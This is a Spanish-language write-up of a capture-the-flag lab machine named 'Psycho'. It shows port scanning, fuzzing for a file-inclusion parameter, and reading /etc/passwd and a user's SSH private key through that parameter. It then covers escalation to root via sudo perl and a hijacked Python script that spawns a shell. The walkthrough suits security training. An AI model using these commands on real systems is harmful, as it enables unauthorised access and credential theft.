# Psycho

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&#x26;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUKlZet0WVKwsuEjBwJSK%2Fimage.png?alt=media&#x26;token=c2da5384-cdae-421e-978e-816ac8a6651c" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfrhGkddtGV0npvcBLqIz%2Fimage.png?alt=media&#x26;token=2255f6bb-1abe-4735-8fab-65d4a7475e16" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea un presentación del CTF.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYyg0QT8RAY7Fh3rBinEN%2Fimage.png?alt=media&#x26;token=92abaced-aa93-4301-b3dd-b803155d5e79" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBAgI2WWVtYRmDLwjgugH%2Fimage.png?alt=media&#x26;token=fff2b584-3d3c-4c0e-9ff7-a0e736bd29ee" alt=""><figcaption></figcaption></figure>

Nos llama la atención el directorio `/assets` y contiene una imagen pero no es relevante. En el servidor web encontramos el siguiente mensaje: \[!] ERROR \[!]. Aprovechando este error y el hecho de que contamos con un archivo `index.php`, decidimos realizar un ataque de fuzzing en busca de un parámetro vulnerable.

```bash
wfuzz -c --hw 169 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt http://172.17.0.2/index.php?FUZZ=/etc/passwd
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQAafYvlPTnFBA93b4zHT%2Fimage.png?alt=media&#x26;token=20bf5887-61ef-4b7f-a2c0-2b31a29b711f" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vamos a comprobar si hay un **LFI**.

```bash
http://172.17.0.2/index.php?secret=/etc/passwd
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuCHC9JoCoVkLOaazjq63%2Fimage.png?alt=media&#x26;token=96de85d3-1bd0-4eff-88e9-a6ea9f3a6153" alt=""><figcaption></figcaption></figure>

Nos encontramos dos usuarios **luisillo** y **vaxei** pero realizando fuerza bruta no tenemos suerte por lo que probamos a coger el **id\_rsa** con **vaxei** tenemos suerte.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FDM6unNM5y1gXA6SwrCcI%2Fimage.png?alt=media&#x26;token=85568beb-5480-4df4-a5c7-294f30b47472" alt=""><figcaption></figcaption></figure>

La copiamos en nuestra máquina y le damos permisos.

```bash
chmod 600 id_rsa
```

Nos logueamos.

```bash
ssh -i id_rsa vaxei@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FY6d1gCYRone8SQCiEU92%2Fimage.png?alt=media&#x26;token=a34b0700-3919-483a-822a-30adf2583a01" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

Tenemos permisos **SUDO** con el usuario **luisillo** con **perl** revisamos esta [página](https://gtfobins.github.io/gtfobins/perl/).

```bash
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWI6QJtxAZ8X9puFoZg2U%2Fimage.png?alt=media&#x26;token=9caea727-64fe-44a2-859b-95e7cb34b44b" alt=""><figcaption></figcaption></figure>

Vemos que permisos **SUDO** tenemos para escalar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCBv7Uo5XmpqQFHDV3rQq%2Fimage.png?alt=media&#x26;token=ec41c3c8-96f0-41c4-b65b-cc897171a1b6" alt=""><figcaption></figcaption></figure>

Borramos el archivo y creamos el mismo archivo pero con este contenido para que establezca una **shell**.

```bash
import os

# Ejecutar bash
os.system("/bin/bash")
```

Ejecutamos para escalar a **root**.

```bash
sudo -u root /usr/bin/python3 /opt/paw.py
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiR3lxJ5kWfZKMIZuOn7m%2Fimage.png?alt=media&#x26;token=7e6971b0-a6f7-4d34-a1b5-33b47ac8d039" alt=""><figcaption></figcaption></figure>
